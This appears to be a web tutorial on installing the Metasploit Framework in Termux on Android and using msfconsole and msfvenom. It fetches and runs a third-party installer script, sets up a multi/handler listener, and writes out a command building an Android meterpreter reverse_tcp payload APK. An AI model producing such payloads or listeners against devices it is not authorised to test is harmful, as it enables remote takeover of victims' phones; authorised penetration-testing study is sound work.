Metasploit is one of the most popular cybersecurity frameworks used for penetration testing, security research, payload generation, and vulnerability assessment. It provides hundreds of modules that help security professionals and learners understand how vulnerabilities work in authorized environments. You can install Metasploit in Termux and use its different features from your Android device without root access.
Metasploit provides different modules and tools that help you learn cybersecurity, penetration testing, and security research. Here are some useful things you can do with Metasploit in Termux:
- Learn vulnerability assessment and security testing.
- Generate payloads using Msfvenom.
- Search and explore Metasploit modules.
- Learn penetration testing and ethical hacking concepts.
- Use auxiliary modules for information gathering.
- Practice cybersecurity skills in authorized environments.
Install Metasploit in Termux
Below are the latest working commands to install Metasploit in Termux. Copy and run each command one by one to download, install, and setup the Metasploit Framework successfully on your Android device.
Update Termux packages.
pkg update && pkg upgrade -y
Install Wget.
pkg install wget -y
Download the Metasploit installer script.
wget -q -O msf_install.sh https://raw.githubusercontent.com/qrt2/msf-termux-ruby34/main/msf_install.sh
Give executable permission to the installer.
chmod +x msf_install.sh
Run the installer (Installation process may take upto 30-60 minutes).
./msf_install.sh
Fix common Metasploit Nokogiri and missing Ruby gems errors using this command.
bundle install --gemfile /data/data/com.termux/files/usr/opt/metasploit-framework/Gemfile
After the installation completes successfully, Metasploit will be ready to use.
Use Metasploit in Termux
Open the Metasploit Framework console.
msfconsole
Show all available commands.
help
Search for Android-related modules.
search android
Search for WordPress-related modules.
search wordpress
Select a module to use.
use exploit/multi/handler
Display the available settings for the selected module.
show options
Set your local IP address.
set LHOST 192.168.1.100
Set a listening port.
set LPORT 4444
Run the selected module.
run
Return to the previous menu.
back
Close Metasploit and return to the terminal.
exit
Msfvenom Commands
Msfvenom is a part of the Metasploit Framework that is used to create payloads. Below are some useful Msfvenom commands that you can use in Termux.
Display all available payloads.
msfvenom -l payloads
Display all available output formats.
msfvenom -l formats
Display all available encoders.
msfvenom -l encoders
Generate an Android payload file.
msfvenom -p android/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 R > payload.apk
Metasploit in Termux Overview
Metasploit is one of the most popular cybersecurity frameworks for learning penetration testing and security testing concepts. By installing it in Termux, you can explore different modules, use Msfvenom commands, and practice cybersecurity skills on your Android device without root access.



